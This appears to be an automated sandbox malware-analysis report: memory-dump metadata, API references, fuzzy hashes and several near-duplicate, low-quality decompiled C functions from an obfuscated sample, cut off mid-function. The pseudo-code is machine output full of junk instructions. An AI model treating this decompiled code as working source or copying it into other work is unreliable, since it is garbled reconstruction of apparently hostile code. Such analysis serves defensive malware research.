VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0208024D

Strings

kernel32.dll, xrefs: 0208008F, 02080095
cess, xrefs: 0208018D

Memory Dump Source

Source File: 00000016.00000002.428016846.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2080000_2819.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 4813d6fbb947531ca2cdd0a605f1f06475a1da202ea37745f144eb539dfb3bbf
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: E4527A75A01229DFDBA4CF58C984BADBBB1BF09304F1480D9E54DAB351DB30AA89DF14

Uniqueness

Uniqueness Score: -1.00%

Function 02080DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02080223,?,?), ref: 02080E02
SetErrorMode.KERNELBASE(00000000,?,?,02080223,?,?), ref: 02080E07

Memory Dump Source

Source File: 00000016.00000002.428016846.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2080000_2819.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 37e51b8472b0fe89cd6ff791baadd57aa521ca7ed4a22b66da06f6d1e798bb83
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 09D0123224522CB7DB412A94DC09BCEBB5C9F05BABF008021FB0DE9581CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
